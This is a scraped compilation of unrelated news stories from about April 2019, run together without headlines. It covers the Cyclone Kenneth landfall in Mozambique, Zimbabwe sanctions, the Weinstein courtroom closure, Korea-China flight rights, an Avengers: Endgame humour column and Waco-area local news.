Ukraine said in a Twitter message. Zelenskiys camp issued its own statement, calling the decree another clear confirmation for the world community of the true role of Russia, as the aggressor state, which is waging war against Ukraine. Unfortunately, this decree does not bring us closer to the solution of the main goal: the cease-fire. This year, during World Immunization Week, the World Health Organization launched the worlds first malaria vaccine. Scientists are also testing a vaccine for HIV, and they are working on vaccines against cancer. Vaccines are one of the greatest inventions of humankind, said Dr. Peter Hotez, a professor at the Baylor College of Medicine. Global vaccination programs have ended smallpox, and they are closing in on polio, a disease that used to paralyze 350,000 people each year. Because of a global immunization program, that number now stands at 20. Pakistan and Afghanistan are the last remaining countries where the polio virus is still spreading. Break the chains Diseases like smallpox, polio and measles can only be transmitted from one person to another. Dr. Walter Orenstein from the Emory Vaccine Center says thats why they can be wiped off the face of the earth. If you can break the chains of human to human transmission, you can eradicate the disease, he said. Thats how smallpox was eradicated. WATCH: Vaccines Could Make World Free of Malaria, HIV, Cancer Malaria vaccine Most of the diseases that can be prevented through vaccines are caused by viruses think measles, mumps or chickenpox. But the most exciting news during World Immunization Week is about a vaccine against the parasite that causes malaria. Dr. Pedro Alonso of the World Health Organization said Malawi, Ghana and Kenya will begin giving malaria vaccines to children in the coming weeks. This is the first vaccine against the human malaria parasite. Parasites are really complex organisms, much more so than a virus or a bacteria. And thats why it has taken 30 years to develop this first vaccine, he said. Cancer and HIV Vaccines can already protect against two types of cancer: cervical and oral cancers caused by the human papilloma virus and liver cancer caused by the hepatitis B virus. Now scientists are working to develop vaccines against breast cancer and other deadly cancers. And then theres HIV. HIV vaccine trials are going on in South Africa, and research is being done to develop an antibody-based HIV vaccine. Dr. Carl Dieffenbach is a specialist in HIV at the National Institutes of Health. He says anti-AIDS drugs have already made a huge difference in controlling the epidemic. We put a vaccine on top of that, too, its not just stopping the epidemic. Its ending the epidemic, he said. A world free from these diseases will be a world where more people can raise healthy children, earn a living and get out of poverty. It would be a world where not only people, but countries could prosper. By Jung Da-min South Korea will hold a ceremony to mark the first anniversary of the April 27 Panmunjeom inter-Korean declaration on Saturday night, but North Korean officials are unlikely to attend. The Ministry of Unification earlier this week revealed its plans to hold the ceremony at the border village of Panmunjeom, but said it only notified the North, without inviting North Korean officials. Considering that North Korea's leader Kim Jong-un was in Vladivostok from Thursday to Friday for his summit with Russian President Vladimir Putin, there was little chance that high-level officials from the North would attend, North Korea watchers said. An evening performance with the theme of "the long road" toward peace will host about 500 South Korean officials and citizens. Artists from South Korea, the United States, Japan and China will participate in performances and hold exhibitions on special stages at five commemorative spots of the Panmunjeom inter-Korean summit, including the military demarcation line (MDL) and the Foot Bridge. North Korea has remained quiet about the inter-Korean projects, including the weekly directorial meeting at the liaison office in Gaeseong and the joint remains excavation project in the demilitarized zone (DMZ), after the breakup of the North Korea-U.S. summit in Hanoi in February. No director-level meetings have been held at the inter-Korean liaison office in Gaeseong since Feb. 22, the unification ministry confirmed on Friday. The North has also yet to reply to the South's request to participate in the war remains recovery project in the border area, according to the Ministry of National Defense. Authorities in Yemen have rounded up and detained more than 2,000 migrants, predominantly Ethiopians, according to the U.N. migration agency. The International Organization for Migration (IOM) is deeply concerned about the conditions in which these migrants, including 400 children, are being held, said U.N. spokesman Stephane Dujarric. He said the United Nations was talking with Yemeni authorities to ensure the migrants receive basic health care, food, water and sanitation and was urging local authorities to find safer alternatives to detention. The IOM said the detentions began Sunday in the south of the country, which is under the control of the internationally recognized government backed by Saudi Arabia and the United Arab Emirates. Thousands of migrants arrive in Yemen each year, mostly from the Horn of Africa. Most of them use the country as a route to richer Gulf nations. Earlier this week, a U.N.-commissioned report said the war in Yemen had set back development in the country by more than 20 years. A Saudi-led coalition has been battling Yemen's Iran-aligned Houthi rebels since 2015. The conflict has caused the deaths of tens of thousands of people. The URL has been copied to your clipboard The code has been copied to your clipboard. A court in Zimbabwe's second largest city, Bulawayo, has granted bail for seven Chinese nationals facing charges of money laundering and possession of rhino horns worth close to $US1million. Ray Choto of VOA's Zimbabwe Service spoke with the lawyer representing the seven, Godfrey Muvhiringi. * Cyclone Kenneth makes landfall northern Mozambique * Causes storm surges of up to five metres, heavy rains * Country still reeling from Cyclone Idai last month * U.N., NGOs helping Mozambican government prepare * Kenneth killed three overnight on Comoros By Manuel Mucari and Ali Amir Ahmed MAPUTO/MORONI (Reuters) - Cyclone Kenneth battered northern Mozambique on Thursday with gusts of up to 280 km per hour (174 miles per hour) after killing three people on the island nation of Comoros overnight. Impoverished Mozambique is still recovering from another powerful tropical cyclone which made landfall further south last month, flattening the port city of Beira and killing more than 1,000 people across a swathe of southeastern Africa. A regional cyclone-monitoring centre on the French island of La Reunion said Kenneth made landfall at around 1430 GMT north of the port city of Pemba and was expected to weaken as it moved inland. The storm caused storm surges of up to five metres (16.4 feet) in some areas and rains associated with it could cause serious flooding, the centre said. Kenneth remains an extremely dangerous system which is currently severely impacting regions to the north of Pemba, the centres latest cyclone report said. A spokesman for Mozambiques National Institute of Disaster Management (INGC) said the government had evacuated 30,000 people from areas likely to be hit by the cyclone. The compulsory evacuation process will continue until we have all people in secure ground, INGC spokesman Paulo Tomas said. The INGC said it had food supplies ready to assist 140,000 people for 15 days. Mozambican officials said on Wednesday more than 680,000 people were at risk from the latest storm. There were concerns that five rivers and coastal waterways could burst their banks, leading to severe flooding. Government and humanitarian officials did not anticipate the extent of the flooding in the wake of Cyclone Idai last month, and an early warning system implemented did not reach everyone. Antonie Beleza, deputy national director of Mozambiques Centre for Emergency Operations, told Reuters that this time around the centre had been telling people for days to move out of 17 at-risk districts. Saviano Abreu of the United Nations humanitarian arm OCHA said the U.N. and non-governmental organisations were assisting the government with a preparedness strategy. Cyclone Kenneth is expected to linger over Mozambique, dumping rain until late on Monday evening and bringing the risk of more intense flooding, said Dipuo Tawana, forecaster at the South African Weather Service. REGIONAL IMPACT In neighbouring Zimbabwe, where hundreds died in heavy rains following Cyclone Idai, the civil protection department sent out a warning that some areas near the eastern border with Mozambique could be affected by the cyclone. It said people living in low-lying areas including in Masvingo province, Chimanimani, Chipinge, Mutoko, Mudzi and Gokwe North should be on high alert. U.S. energy firm Anadarko, which is developing large natural gas fields off Mozambique, said it had suspended air transportation in and out of its site as a precaution. Exxon Mobil, also involved in gas fields offshore Mozambique, said it was monitoring the situation. In Comoros early on Thursday, felled trees and debris from homes were scattered over streets, and houses had their roofs torn off. The winds caused widespread power outages in the northern part of the main island, Grande Comore, and the capital Moroni as well as on the island of Anjouan, residents said. Government offices and schools were closed. Kenya Airways said on its Twitter feed it had cancelled flights to Moroni because of severe weather. Ugandan President Yoweri Museveni has joined the chorus of African leaders calling on the west to lift sanctions imposed on n some of Zimbabwes government and political leaders as well as entities. Speaking at the official opening of the 60th Zimbabwe International Trade Fair (ZITF) in Bulawayo, where he was the guest of honor, Museveni applauded Zimbabwe for remaining, steadfast in the face challenges. Museveni, who has been under international scrutiny for his longevity in power and the alleged suppression of political opponents, criticized the west, and said the idea of imposing sanctions as a form of punishment on individuals not abiding by their standards, was cowardice. I want to condemn the sanctions which have been put on Zimbabwe for such a long time, Museveni said, referencing the close to two decades that Zimbabwe has been under sanctions from the United States, Britain and other countries in the European Union. The idea of sanctions is cowardice, continued Museveni. If somebody is wrong, leave him. He will fail by his own mistakes. Why do you have to put sanctions, queried Museveni. Echoing Musevenis call that sanctions are ineffective, longtime journalist Tapfuma Machakaire said sanctions seem to have failed to achieve their intended objective, be it changing governments or ways government run their countries. Machakaire said its time for western countries to seek alternative strategies to bring about the change they feel is needed. Weve been under sanction many years, but the objectives of the sanctions dont appear to have been met. If they are intended to remove a government or change the way country is being government we are not seeing that working, said Machakaire. He advised western countries to change tactics. If theres something specific that the superpowers want see African governments or other countries do, they should find other ways to address those with the countries whose governing practices they dont agree with, said Machakaire. However, a Bulawayo resident who wanted to be identified only as John, dismissed the argument that sanctions were responsible for a countrys economic backslide, blaming it instead on the governments themselves. I dont believe its sanctions that are keeping the country behind, said John. We, on our own, our leaders are failing to what we should be doing. So as far as sanctions, the leaders unfortunately are the ones failing on their own, John concluded. Despite call from various leaders and groups for the U.S., Britain and EU to lift the sanctions on Zimbabwe, all have recently extended the sanctions for an additional year, pending the implementation and adoption of certain reforms including respect for human rights, rule of law and freedom of the press. They also argue the sanctions are targeted and not intended to hurt ordinary citizens. Zimbabwe has argued that the sanctions, imposed during the leadership of former President Robert Mugabe, should now be revisited and removed, given that Mugabe is now out of office, and the government of President Emmerson Mnangagwa has implemented some of the conditional reforms for lifting sanctions, such as respecting property rights and commitment to amending oppressive media laws such as the Access to Information and Protection of Privacy Act, AIPPA. Museveni encouraged Zimbabwe to continue tapping into its natural resources such as minerals and agriculture, to grow its economy. The ZITF, which ran under the theme, Propagating Industrial Growth Through Trade and Investment, will wrap up on Saturday. After serving four months in jail in Zimbabwes resort town of Victoria Falls, seven Chinese nationals charged with money laundering and possession of rhino horns, have finally been granted bail. Ranging in age from 23 to 35, the seven nationals were arrested in late December after being found in possession of cash and 20.98kg of rhino horns, worth close to $US1 million dollars. Possession of rhino horns or ivory is a violation of the countrys laws as stipulated in the Wildlife and Parks Act. The granting of Thursdays bail, follows previous failed attempts to have the charges dropped. The seven, who have all pleaded not guilty to the charges, were granted bail of $RTGS5, 000 (about $US1600), and are restricted from leaving the country, explained their lawyer, Godfrey Muvhiringi. They were granted bail in the sum of $RTGS5, 000. They are to surrender their passports to the clerk of court, Hwange, they are to reside at stand 858 Aerodrome Victoria Falls, they are not to travel beyond 10km of the Victoria Falls port office, except when they are attending court, said Muvhiringi. While the seven were granted bail by a judge in Zimbabwes second largest city of Bulawayo, they will only likely be released on Saturday, two nights after being granted bail. Muvhiringi said the delay is procedural and typical of a bail-based release. We need to have the original order from the court, then we get a warrant of liberation from the clerk of court, as we also surrender their passports to the clerk of court, he explained. The seven nationals are expected back in court on Monday. Under Zimbabwes Parks and Wildlife Act, penalty for illegal possession of ivory or rhino horn can include either or both a fine of up to three times the value of ivory or horn, or imprisonment of up to one year. Funeral Announcements A daily list of current funeral annoucements as heard on KXRA 1490 AM/100.3 FM News Updates The daily news, sports, and events delivered daily from Voice of Alexandria. Sports Update This current sports headlines delivered daily from Voice of Alexandria. Upcoming Events This email is the events of the area delivered daily from Voice of Alexandria. Breaking News The big news. Sent only as it happens. Alexa, play the 2010 3 platinum Big Sean song Dance (Ass)! Photo: Marvel Studios Light spoilers ahead for Avengers: Endgame. In the Bible (okay, Bradley Coopers A Star Is Born) the prophet Ally Campana (okay, the pop goddess/billboard star Ally Maine nee Campana) shared a deeply important testimony. Why do you look so good in those jeans? she asked, via hymn (okay, regular pop song. Fine!). Whyd you come around me with an ass like that? Youre making all my thoughts obscene. This was not, not like her. And she confessed as much: This is not, not like me! Wed do well to remember Allys gospel when it comes to the most important moment in all three hours and one minute of Avengers: Endgame. That moment, of course, is all about which Avenger has the best butt. Is it Paul Rudd as Ant-Man? No. Is it Mark Ruffalo as The Hulk? That is a good guess, but also no. Is it Chris Hemsworth as Thor? Again: no. Is it Bradley Cooper as Rocket Racoon? No, and Im not sure that he is technically an Avenger, and also do racoons even have butts? (Something for me to Google later in the day.) Is it Chadwick Boseman as Black Panther? Please. He didnt even have the best ass in Black Panther! The best butt in the Marvel Cinematic Universe, according to Endgame, belongs to none other than Chris Evans as Captain America. In a scene early in Endgame, we are given the opportunity to remember that Chris Evans is, deeply and crucially, very handsome. He has a symmetrical face, two full lips, and eyes that make me want to leave the internet completely, sit on a porch (ideally on a lake), and read something by John Steinbeck. Anyway: Chris Evans remains handsome as the camera observes him doing the unthinkable, which is, in this case, shaving the beard that sustained us through the two hours and 40 minutes of Infinity War. Then the camera zooms out from its close-up on the razor to frame, quite perfectly, Chris Evanss bubble butt. He stands over a bathroom sink admiring his own handiwork. One leg is popped, and the derriere is quite round. This is Endgames thesis. That first bathroom scene is but the teaser for the moment at hand, however. Endgames plot rests on a five-year time jump post-Infinity War, some very complicated science, and a conversation about the 2010 movie Hot Tub Time Machine. The Avengers who werent snapped away by Thanos at the end of Infinity War must somehow go back in time, collect the Infinity Stones before Thanos does, and re-snap to order all those lost lives back to the universe. So Captain America, Ant-Man, and Iron Man are deployed to New York City circa 2012, when the latter part of the first Avengers movie plays out. At one point, Tony Stark is hiding in the background, watching as the old gang prepares to hand over the Space Stone to the feds. Lucky for him, his vantage point affords him the perfect perspective on every Avenger butt, and heres where Americas ass gets its second act. Mr. Rogers, he murmurs into his headset. That old suit design did nothing for your ass. The camera stalls on Chriss butt just long enough for Scott Lang to beg to differ. You look great, Cap, he reassures. As far as Im concerned, thats Americas ass. Americas ass is the best joke to ever happen to Captain America a straight edge who isnt funny, like Thor, or snarky, like Iron Man, or Mark Ruffalo, like the Hulk and the joke hasnt even fully landed at this point. Fast forward two scenes, as Ant-Man and Tony Stark are busy wrestling the Space Stone from Robert Redford (who said he was going to retire after The Old Man and The Gun but obviously has not). The year 2023 Captain America comes face to face with the year 2012 Captain America. For a few glorious minutes they wrestle: Chris Evans looking into Chris Evanss eyes, Chris Evans blocking Chris Evanss punches, Chris Evans calling himself by his own name. When 2023 Captain America eventually bests his 2012 self in combat (Bucky is alive!), he stops to look at the version of himself that is 11 years younger. Instead of tossing off a lame line about how the hardest battle is the one you fight with yourself, he just stands there, checking himself out! (Who among us would not do this? Representation matters.) And then he delivers Steve Rogerss single greatest quote in the entirety of the MCU: That is Americas ass, he says. And in a cinematic universe apparently without Beyonce, he is right! At face value, all this butt talk seems frivolous. But after years of playing an annoyingly honorable, rule-abiding, greatest good for the greatest number of people Avenger the literal butt of so many of Robert Downey Jr.s jokes! Chris Evans should, at the very least, be able to exit this franchise with the satisfaction that he is a total hottie. Thank you Chris, for sharing your ass with the United States of America, a nation that certainly does not deserve it. Harvey Weinstein. Photo: Erik Pendzich/REX/Shutterstock The judge handling Harvey Weinsteins sex-assault case booted reporters and members of the public from the courtroom Friday morning, barring them from an important hearing on evidence that might be used at trial, such as other allegations of misconduct against him. In filings released last week, it was revealed that prosecutors and Weinsteins lawyers wanted to close Fridays proceeding, where prior allegations against Weinstein would be discussed. The hearing at hand deals with whether prosecutors can bring up other these allegations of misconduct during Weinsteins June 3 trial. Weinstein, who faces charges for allegedly nonconsensual encounters with two women, has maintained his innocence. Manhattan Supreme Court justice James Burke said in previous papers and in court today that he would hear arguments from opponents of courtroom closure prior to making a decision. Weinstein, who did not appear worried upon entering the courtroom, was sporting a black suit and crisp white shirt, and walking with a slight limp. Marianne Bertuna, who appears to be the first female lawyer on Weinsteins legal team to speak for him in the Manhattan criminal case, argued the proceeding must be sealed to prevent an unfair trial, due to media coverage. Just look at this courtroom today, this is not a typical audience, she said, referring to the nearly two dozen reporters who were there, typing or taking handwriting notes. While the courtroom seemed larger than courtrooms used for prior Weinstein proceedings, it was neither packed nor disorderly. If anything, todays hearing was pretty par for the course with a high-profile case in New York City. El Chapo this was not. Bertuna then complained about social media. We do know however that the media has every intention of releasing the information in real time before the court even renders a position we believe the information will be sent out to the public in real time over Twitter. We live in a world of instant gratification on social media, she said. Gone are the days when yesterdays news [is] yesterdays news. Im sure that before we leave the courtroom today news will be out there, she said. Joan Illuzzi, the main prosecutor on Weinsteins case, said closure was necessary to ensure minimizing the effects of the pretrial publicity about additional alleged misconduct, much of which is not made public yet. Not every person that we have listed that were asking to call has been made public, Illuzzi said. Not everybody has been made public at this point. Robert Balin, who represents a number of media organizations in their fight for access, argued that prior bad acts or uncharged crimes are already matters of public record, pointing to the dozens of women who have already come forward. It is like trying to close the door after the horse has left the barn, he said, arguing against the notion that additional information would spur irreparable further bias. Vulture also addressed Burke, arguing that closure stands against the First Amendment right to access, and that the U.S. Constitution doesnt mention social media as somehow impacting that right. Ultimately, Burke was not swayed in favor of access, saying that all court proceedings including hearings are presumptively open to the public and press however, this right of access is not absolute. The information that is being discussed, Burke said, may be highly inflammatory and most of the information derives from witnesses who have personal and sexual encounters with the defendant Closure will prevent a substantial possibility that a defendants right to a fair trial will be prejudiced. This court has considered the celebrity status of the defendant has generated intense media scrutiny and an enormous amount of pretrial publicity, he also said. Clearly, the publication of this information at this time would serve no purpose other than to arouse negative public sentiment toward the defendant. Burke said courtroom closure was the only available way to prevent tainting the jury pool. The attorneys representing media organizations in the fight against sealing are pushing for an emergency appeal, in the hopes of getting the courtroom open. Its unclear what might happen with this attempted appeal, but at the very least, it will likely annoy the disgraced movie moguls legal team and, of course, their camera-shy client. Update, 5:11 p.m.: After a lunch break, where Weinstein said he was eating at a pizza place and that his attorneys are treating, the court was reopened to the public. The proceeding mostly involved housekeeping matters: The trial date was pushed back to September 9, and that the trial is expected to take between five and seven weeks. Sungshin Women's University activist professor Seo Kyoung-duk By Jhoo Dong-chan Sungshin Women's University activist professor Seo Kyoung-duk said Thursday he sent a letter of protest to Lonely Planet to revise its travel guidebook that labels the East Sea as the Sea of Japan. Lonely Planet is the U.S.-based travel guidebook publisher that has sold about 150 million copies so far. In Lonely Planet's travel guidebook for Korea, it uses both the East Sea and Sea of Japan to identify the East Sea, but uses only Sea of Japan in its travel guide edition for Japan. "A number of travelers buy and read the Lonely Planet guide series. I would like to fix wrong information in its guidebook," Seo said. Seen above is the Lonely Planet travel guide book for Japan. It designates the East Sea as the Sea of Japan. / Courtesy of Seo Kyoung-duk A B-52 strategic bomber, escorted by South Korea's F-15K and the U.S. Air Force's F-16 fighter jets, flies over Osan Air Base in Gyeonggi Province, Jan. 10, 2016. The B-52 bomber, armed with nuclear missiles and bunker buster bombs, is one of the U.S.' strategic assets for nuclear deterrence. Yonhap file By Jung Da-min The United States will maintain its nuclear umbrella over South Korea as North Korea still possesses nuclear capabilities, according to a U.S. government official, Wednesday. "In South Korea, uncertainty surrounding progress on denuclearization may foster concerns over the implications of the U.S.-North Korea dialogue for extended deterrence," the Washington-based Voice of America reported citing remarks by U.S. Deputy Undersecretary of Defense David Trachtenberg at a forum titled "The future of U.S. extended deterrence." Brookings Institute hosted the event. The official said the U.S. Department of Defense "reiterated the U.S. commitment to maintain force levels necessary to defend South Korea," referring to the 50th U.S.-Republic of Korea Security Consultative Meeting (SCM) held last October. The remarks are in sync with Washington's repeated commitment to push for a complete, verifiable and irreversible dismantlement of North Korea's nuclear arsenal. Pyongyang has suggested the "definition of denuclearization" may involve ending the U.S.' nuclear umbrella that protects Seoul, as well as Tokyo, or even the removal of U.S. troops from the region. I dont see any let-up, to be honest with you, Bland said. There is a lot of demand for starter homes, those priced in the upper $180,000s to $300,000, and for a change we have a place to build them. That has helped a ton. Two years ago, we had no inventory at that price point at all. Bland said his company is building homes in a McGregor-area subdivision called The Parks at McGregor, where he has acquired 10 lots and already is going up with two residences. He and several other local builders are taking part in Creekside, a 750-home subdivision to take shape over six years just off Warren Road in Waco city limits and the Midway Independent School District. Then there is the massive 1,500-home Park Meadows subdivision in far West Waco, a project of D.R. Horton and Stylecraft, among others. Again, demand is incredible, Bland said. I just fielded a call today from someone in California moving to Texas. The migration from the West Coast is showing no signs of slowing down. Our biggest problem, as weve talked about before, is the shortage of labor to get anything finished. Everybodys busy. Plenty of jobs, but not enough people to fill them. The areas tourism industry continues to show growth, Ingham reported. By Kim Hyun-bin Park Yoo-chun, an actor and former member of boy band JYJ, was arrested, Friday, over allegations that he used illegal drugs. Issuing an arrest warrant for him, Suwon District Court said it has decided to do so due to concerns he is a flight risk or could try to destroy evidence. Earlier in the day, the 33-year-old appeared at the local court in Suwon, south of Seoul, to face the accusation he allegedly purchased 1.5 grams of methamphetamine on three occasions between February and March with Hwang Ha-na, granddaughter of the founder and honorary chairman of Namyang Dairy Products, who has been arrested for using meth five times. Park Yoo-chun Choose integrity over vendettas, one said. Several who spoke with the Tribune-Herald said Bland has performed well since his hiring in 2012, and his job is in jeopardy because of personality conflicts with a board member. One or two board members are displeased about fundraising, said Susan Baxley, a Bland supporter and animal rescue volunteer who lives in China Spring. They believe it is lacking. They specifically point to a low turnout at the recent wine tasting, which is an annual fundraiser. It was a stormy weekend and there was some disagreement over whether it should be held at all. Baxley said Bland tirelessly pursues policies that save animal lives through adoption and foster programs. She said the society finds homes for more than 95 percent of animals placed in the city shelter, and firing Bland would undermine efforts to make the Humane Society venue an inviting place for pets, pet owners and those wanting to adopt an animal at the city-run shelter next door. Volunteers Vicki Whitesell and Marsha Neeper, who were signing in to start a shift, said they back Bland and are impressed by the improvements he has overseen. They said a live exit rate of 95 percent should stand for something. I have been the receiver of deep loving care from students who practiced showing their care for me, as a person, and not just their teacher. I have listened carefully as students have asked me to share more stories, Yancey said. I have listened carefully, and watched the intensity, of students as I taught through lectures that have been full of concepts that have been challenging to grasp. In the end, I have learned that so many of our Baylor students absolutely love classroom lectures, Yancey said. This award really goes to our Baylor students. You have taught me well, and I am still continuing to learn from you. (The victim) is an heir to mineral rights in Hood County, Texas, which has been passed down through his family, the documents state. On 09/27/2016, Scoggins, along with a public notary for the state of Texas, went to (the nursing home). While at the nursing home, Scoggins had (the man) sign a mineral warranty deed granting his wife, Kimberly Scoggins, and he all interest in all oil and gas that may be produced from (the mans) original mineral warranty deed for the amount of $10. The notary told investigators the full form was never read to the victim, only explained by Scoggins, according to the documents. After speaking to (Menefee), he told me he would never sign his mineral rights over because they have been passed down through his family and are his main source of income, an arrest affidavit states. Scoggins was deceptive by tricking (the man) due to his disabilities into signing his mineral rights over to him for his pecuniary gain. Scoggins told investigators in 2017 he knew the man suffered from cataracts but was unaware of any other medical conditions, according to the affidavit. The iconic nature of it is because it does house religion, and every student has to take two religion courses, Hankins said. Virtually every student in the last 60 years has had a class in this building. The beloved building has its share of issues, from leaking ceilings to temperamental air conditioning and space-use constraints, he said. The building has received technology upgrades over the years, but the flooring and walls have remained unchanged. Weve seen some preliminary plans that look really good for how office space and classroom space would be better utilized, Hankins said. He said the buildings Miller Chapel is often underutilized now that the campus has more chapels for students to choose from. Its a great building, and were happy that we get to keep it, but were glad that its going to be totally renovated, Hankins said. Infrastructure, wiring and plumbing will all receive updates, and the building will receive a new elevator that goes to the top floor. Additions will include a new prayer chapel on the top floor and a Sunderland Academic Center, which will house additional meeting and work spaces as well as administrative and faculty offices. A tornado that touched down in Brazos County late Wednesday afternoon caused major damage to two homes and four businesses and left at least one person with injuries, officials said. Dowling Electric Inc. employees Thomas Shumate of College Station and Steve McNeil of Normangee said they were finishing up their work day around 4:45 p.m. Wednesday when a co-worker looked out the business window and noticed a funnel cloud forming near the intersection of Coyote Run Road and FM 1179. [The funnel] was forming, breaking up and reforming, but it was standing still, Shumate said. Then it started moving in our direction. McNeil shouted that everyone should run to the bathroom, and the group took cover there and in the interior office area. The sound of the tornado just outside lasted about 30 seconds, but no damage occurred to the Dowling Electric building. When the Dowling employees finally peeked outside, though, they saw businesses across the street that appeared to be demolished, with ceilings caved in and corners stripped off buildings. President Trumps landmark trade deal is in trouble. Its increasingly uncertain whether Congress, as well as the Canadian and Mexican legislatures, will ratify the all-important United States-Mexico-Canada Agreement. The USMCA talks have been going on since July 2017. What was supposed to be seven rounds of trade-deal talks has turned into many more. In the past two months, White House officials have met with close to 300 lawmakers. Now, all three countries are hung up on one key issue. They want the Trump administration to eliminate its tariffs on imported Mexican and Canadian steel before a vote on the deal. These tariffs have been painful for American businesses, especially oil and natural gas firms that President Trump has otherwise supported with free-market policy. Keeping these tariffs in place or worse, switching to an import quota system would imperil energy companies. Consumers would face higher utility bills. And many workers could lose their jobs. In short, its time to scrap the tariffs. Jenny Taylor, Waco Myths & truths I write in response to an April 12 letter from John Vickrey in which he attacks right-wingers Jerry Willett and John Pisciotta for spewing nonsense in their own letters: I find it strange that Mr. Vickrey quotes the Bible (Matthew 19:14) in questioning the Christianity of Mr. Willett. He also questions Mr. Pisciottas biblical belief that marriage is between a man and a woman. He then goes off and calls the Bible a mythical book. Its from that mythical book that this great nation was founded and it is from the beliefs found in that book that these United States have been a shining beacon of hope for all. From the Bible Deuteronomy 30:15 it says: See, I have set before you today a choice between life and death, between prosperity and destruction. These are the choices God has given to all mankind. Its extremely sad that, given these choices, many are choosing death and destruction when all that is required to have life is repentance of sin and asking for forgiveness through Gods only son Jesus Christ. ASHLAND U.S. Sen. Ben Sasse has announced that a member of his staff will be hosting a Mobile Office, 11 a.m. to 1 p.m., Tuesday, April 30 at the Ashland Public Library at 1324 Silver Street in Ashland. Staff members will also be in Elmwood at Elmwood Public Library, 124 West D Street, on Tuesday, April 30 from 2 to 4 p.m. These office hours will provide Nebraskans with a face-to-face opportunity to speak with a member of Sen. Sasses staff about federal government-related issues. A constituent services representative will be on hand to offer guidance and aid to Nebraskans who require help navigating Washingtons federal bureaucracy. The same services are offered by the senators staff in each of his state offices. Constituent services representatives can be reached at 402-476-1400. The public is invited to attend. By Kang Seung-woo Taekkyeon demonstrations will be held every Sunday at Insa-dong, according to Seoul City, Friday. Taekkyeon is a traditional Korean martial art that makes use of fluid, rhythmic dance-like movements to strike an opponent. UNESCO has recognized it on its Representative List of the Intangible Cultural Heritage of Humanity. The free event, scheduled to run until Oct. 27 at Naminsa Madang, with the one-hour show being held twice per day, at 3 p.m. and 5 p.m. During the summer season from July 14 to Aug. 25, it will be held at other tourist destinations such as Myeong-dong and Donuimun Museum Village. According to the Seoul Metropolitan Government, the demonstration team will show off traditional taekkyeon as well as creative and fusion martial art performances. Plus, a taekkyeon experience program for visitors will be held through which they can learn its basics, and souvenirs will be presented after the event. "Taekkyeon has been handed down as the nation's cultural heritage, so we plan to take advantage of the demonstrations to promote our native culture and tourism in Seoul," said Lee Eun-yeong, director of the city government's Tourism Business Division. Visit for more information. Meeting with Wang Huning, member of the Standing Committee of the Political Bureau and member of the Secretariat of the Communist Party of China (CPC) in Beijing on April 25, PM Phuc expressed his pleasure at the positive development of relations between the Communist Party of Vietnam (CPV) and the CPC as well as between the two nations over the recent past. The Vietnamese PM said the CPV and CPC set up effective and diversified cooperation mechanisms, which help the two sides realise the common perceptions reached by their senior leaders. Cooperative ties and exchanges between the National Assembly of Vietnam and the National Peoples Congress of China as well as between the Vietnam Fatherland Front and the Chinese Peoples Political Consultative Conference, and important ministries and sectors such as defence, public security, and foreign affairs, have been stepped up, he said. The sharing of experience in national construction and development as well as in the Party building is of important significance, contributing to the enhancement of the bilateral friendship, win-win cooperation and mutual assistance and support, he said. PM Phuc congratulated China on its remarkable achievements in the Party building and anti-corruption, and expressed his wish to exchange experience with China in this field. The Vietnamese leader believed that China will implement successfully the goals set at the 19th National Congress of the CPC in the cause of national construction and development. For his part, Wang welcomed PM Phuc and the Vietnamese delegations attendance at the upcoming second Belt and Road Forum in Beijing, saying this showed that the Vietnamese Party and State treasured Vietnam-China relations, thus contributing to the success of the event. He affirmed that the Chinese Party and State have also attached importance to relations with Vietnam and agreed to work with the Southeast Asian country to maintain high-level meetings, increase political trust, and promote cooperative fields, including cooperation through the Party channel. The Chinese official applauded the enhancement of trade and economic ties, helping to develop the Vietnam-China comprehensive strategic cooperative partnership in a stable, healthy and sustainable manner. Korean Air's Boeing B737-900ER. Courtesy of Korean Air By Kim Hyun-bin Local airlines are going all-out to secure rights to fly additional routes to Chinese cities, as the government plans to unlock extra slots next week. According to the aviation industry, Friday, the Ministry of Land, Infrastructure and Transport plans to hold an aviation traffic deliberation committee meeting, May 2, to distribute 49 additional flight rights on six routes between Korea and China and seven companies are bidding for the extra openings. The six are routes from Incheon to Beijing, Shanghai, Yanjin, Shenyang and Shenzhen and from Busan to Shanghai. Some routes are considered lucrative and some cities have been monopolized by the nation's two full-service carriers Korean Air and Asiana Airlines. The competition is getting fiercer in the lead-up to the announcement. Plus, with the additional routes and escalating competition, many experts believe flight prices to China could be lowered up to 20 percent on key routes such as Beijing and Shanghai. Since 2014, there have been tensions between Seoul and Beijing due to the deployment of a U.S. Terminal High Altitude Area Defense (THAAD) missile defense system, and the recent agreement to open additional routes in China marks the first aviation exchange in five years. The most competitive routes are Incheon-Beijing and Incheon-Shanghai which are considered "golden" as their flight occupancy rates reach over 90 percent on average during peak season. Additional routes for Busan-Shanghai, Incheon-Yanjin and Incheon-Shenzen are also available, which are currently monopolized by the two full-service carriers. In addition, the opening of the second Beijing international airport in September is expected to bring more passenger traffic to the country as the airport can accommodate close to 100 million passengers annually. Last month, the two governments agreed to an additional 14 flights a week to Beijing, making a total of 45, and seven more to Shanghai for a total of 56. Out of the additional Beijing routes, budget carriers are expecting two LCCs to win daily flights to Beijing. In hopes of gaining a competitive edge during the government bidding, the budget carriers are already emphasizing their strengths, such as the number of planes they have in operation and their business experience in other Chinese cities. The country's largest budget carrier Jeju Air which operates a Daegu-Beijing route three times a week has shown interest in the destination, emphasizing its knowhow in the region. "Flight rights to China fits Jeju Air's business model to provide short-distance flights and an opportunity to bring results," Jeju Air CEO Lee Seok-joo said in a press conference last month. "We are prioritizing the locations that Jeju Air currently provides flights." Air Busan and Air Seoul are seeking to land Chinese routes and use them as growth momentum. "For Air Busan to grow even further, I believe it is imperative to provide flights from Incheon," Air Busan CEO Han Tae-keun said in a recent statement. "We will start with winning flight rights to China and focus on developing more routes from Incheon. We aim to start providing flights from Incheon within the year." Previously, Air Busan provided international flights mostly from Gimhae and Daegu international airports. It is the only local LCC that currently does not provide flights from Incheon. Experts say Asiana Airlines, which is expected to be sold off in the coming weeks, is working to obtain additional routes as it could raise its market value. "To award flight rights, the government looks at numerous factors including financial stability. Asiana Airlines' instability will make it more difficult," an airline official said. "However, before Asiana is sold it will try to enhance its value by obtaining key routes." Korean Air's subsidiary budget carrier Jin Air is likely to be excluded from the bidding as it is currently under government sanctions. Eighth edition of Open House Roma opens the doors to more than 200 fascinating buildings, both ancient and contemporary, across Rome. The unfinished Citta dello Sport Biblioteca Angelica. Photo Steve Bisgrove. Street art tours in Ostiense. Photo Rovescio American Academy in Rome. Photo Davide Francheschini. Museo Mario Praz. Photo Silvio Scafoletti. . Registration is now open for the 2019 edition 